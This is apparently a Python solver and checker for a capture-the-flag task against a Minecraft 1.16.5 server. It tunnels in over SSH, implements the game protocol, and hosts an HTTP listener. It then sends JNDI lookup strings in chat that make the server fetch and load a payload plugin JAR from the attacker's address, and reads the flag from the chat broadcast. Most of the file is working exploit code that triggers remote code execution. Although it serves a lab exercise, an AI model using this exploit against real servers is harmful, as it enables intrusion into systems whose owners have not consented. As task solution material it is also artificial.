#!/usr/bin/env python3
"""Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction.

Usage:
  python solve.py <host> <port> <user> <password> [--my-ip LAN_IP]

Steps:
  1. SSH direct-tcpip to the container's Minecraft port
  2. Login as an offline 1.16.5 player
  3. Start a local HTTP listener (probe + payload JAR)
  4. Send ${jndi:http://<my-ip>:<port>/check} in chat — egress probe
  5. Send ${jndi:http://<my-ip>:<port>/pwned.jar} — real payload
  6. Extract flag from chat broadcast
"""
import io
import os
import re
import socket
import struct
import sys
import threading
import time
import zipfile

try:
    import paramiko
except ImportError:
    print("FAIL: pip install paramiko"); sys.exit(1)

PROTO = 754  # 1.16.5
FLAG_MARK = "caplag{"
FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}")


def varint(v):
    out = b""
    while True:
        b = v & 0x7F; v >>= 7
        if v: out += bytes([b | 0x80])
        else: return out + bytes([b])


def dec_varint(d, p=0):
    v = 0; s = 0
    while True:
        b = d[p]; p += 1
        v |= (b & 0x7F) << s
        if not b & 0x80: return v, p
        s += 7


def load_payload():
    jar = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                        "payload", "Pwned.jar")
    if not os.path.isfile(jar):
        return None
    suffix = str(int(time.time()))[-6:]
    src = zipfile.ZipFile(jar)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out:
        for item in src.infolist():
            data = src.read(item.filename)
            if item.filename == "plugin.yml":
                data = data.decode().replace(
                    "name: Pwned", "name: Pwned" + suffix).encode()
            out.writestr(item, data)
    src.close()
    return buf.getvalue()


class MC:
    def __init__(self, sock, nick):
        self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock()
        self.wlock = threading.Lock()

    def send(self, pid, body=b""):
        p = varint(pid) + body
        f = varint(0) + p if self.th >= 0 else p
        with self.wlock:
            self.s.sendall(varint(len(f)) + f)

    def recv_pkt(self):
        ln = 0; sh = 0
        while True:
            b = self._b(1)[0]
            ln |= (b & 0x7F) << sh
            if not b & 0x80: break
            sh += 7
        raw = self._b(ln)
        if self.th >= 0:
            dl = 0; sh = 0; p = 0
            while True:
                b = raw[p]; p += 1
                dl |= (b & 0x7F) << sh
                if not b & 0x80: break
                sh += 7
            body = raw[p:]
            if dl: body = __import__("zlib").decompress(body)
        else:
            body = raw
        return body[0], body[1:]

    def _b(self, n):
        d = b""
        while len(d) < n:
            c = self.s.recv(n - len(d))
            if not c: raise ConnectionError("closed")
            d += c
        return d

    def login(self, nick):
        h = b"127.0.0.1"
        hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2)
        self.s.sendall(varint(len(hs)) + hs)
        self.send(0, varint(len(nick)) + nick.encode())
        for _ in range(10):
            pid, pl = self.recv_pkt()
            if pid == 3: self.th = dec_varint(pl)[0]
            elif pid == 2:
                threading.Thread(target=self._rd, daemon=True).start()
                return True
        return False

    def _rd(self):
        import json
        while True:
            try:
                pid, pl = self.recv_pkt()
            except Exception:
                return
            if pid == 0x0E:
                try:
                    jl, off = dec_varint(pl)
                    obj = json.loads(pl[off:off + jl].decode("utf-8", "replace"))
                    txt = []
                    def w(n):
                        if isinstance(n, dict):
                            if "text" in n: txt.append(str(n["text"]))
                            for k in ("extra", "with"):
                                for i in n.get(k, []) or []: w(i)
                        elif isinstance(n, str): txt.append(n)
                    w(obj)
                    line = "".join(txt)
                    if line:
                        with self.lock:
                            self.chat.append(line)
                except Exception:
                    pass
            elif pid == 0x21 and len(pl) == 8:
                v = int.from_bytes(pl, "big")
                if 0 < v < (1 << 40):
                    self.send(0x10, pl)

    def say(self, t):
        self.send(3, varint(len(t)) + t.encode())

    def wait(self, m, to=20, since=0, pattern=None):
        dl = time.time() + to
        while time.time() < dl:
            with self.lock:
                for l in self.chat[since:]:
                    if m in l and (pattern is None or pattern.search(l)):
                        return l
            time.sleep(0.2)
        return None


def main():
    if len(sys.argv) < 5:
        print(__doc__); sys.exit(1)
    host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
    my_ip = "127.0.0.1"
    if "--my-ip" in sys.argv:
        my_ip = sys.argv[sys.argv.index("--my-ip") + 1]
    else:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0]
        except Exception: pass
        finally: s.close()

    payload_jar = load_payload()
    print(f"[*] target {host}:{port} as {user}")
    print(f"[*] my IP: {my_ip}")
    if not payload_jar:
        print("FAIL: payload/Pwned.jar is missing")
        sys.exit(1)
    print("[*] payload: OK")

    # 1. SSH tunnel
    print("[1] SSH tunnel...", end=" ", flush=True)
    try:
        cli = paramiko.SSHClient()
        cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        cli.connect(host, port=port, username=user, password=pw,
                    look_for_keys=False, allow_agent=False, timeout=8)
        chan = cli.get_transport().open_channel(
            "direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0))
        print("OK")
    except Exception as e:
        print(f"FAIL ({e})"); sys.exit(1)

    # 2. HTTP listener (probe + payload)
    hit = []
    from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
    class H(BaseHTTPRequestHandler):
        def do_GET(self):
            hit.append(self.path)
            body = b"x"
            if self.path == "/pwned.jar" and payload_jar:
                body = payload_jar
            self.send_response(200)
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        def log_message(self, *a): pass
    httpd = ThreadingHTTPServer(("0.0.0.0", 0), H)
    http_port = httpd.server_address[1]
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[2] HTTP listener on :{http_port}")

    # 3. MC login
    print("[3] Minecraft login...", end=" ", flush=True)
    mc = MC(chan, "Checker")
    if not mc.login("Checker"):
        print("FAIL"); sys.exit(1)
    print("OK")
    time.sleep(3)
    with mc.lock:
        base = len(mc.chat)

    # 4. Egress probe
    probe_url = f"http://{my_ip}:{http_port}/check"
    print(f"[4] Egress probe: {probe_url}", flush=True)
    mc.say(f"${{jndi:{probe_url}}}")
    probe_ok = False
    dl = time.time() + 15
    while time.time() < dl:
        if any("/check" in h for h in hit):
            probe_ok = True
            print("[4] PASS: egress confirmed (server fetched /check)")
            break
        r = mc.wait("Could not load plugin", to=1, since=base)
        if r:
            probe_ok = True
            print("[4] PASS: chat oracle responded")
            break
        time.sleep(0.5)
    if not probe_ok:
        print("[4] FAIL: no egress, no oracle")
        sys.exit(1)
    time.sleep(1)
    with mc.lock:
        base2 = len(mc.chat)

    # 5. Flag extraction
    jar_url = f"http://{my_ip}:{http_port}/pwned.jar"
    print(f"[5] Sending payload: {jar_url}", flush=True)
    mc.say(f"${{jndi:{jar_url}}}")
    line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE)
    if line is None:
        line = mc.wait("[PWN]", to=2, since=base2)
    match = FLAG_RE.search(line) if line else None
    if match:
        print(f"[5] FLAG: {line}")
        print(f"\n  {match.group(0)}\n")
        sys.exit(0)
    if line:
        print(f"[5] FAIL: plugin returned no complete flag: {line}")
        sys.exit(1)
    print("[5] FAIL: no flag in chat within 25s")
    sys.exit(1)


if __name__ == "__main__":
    main()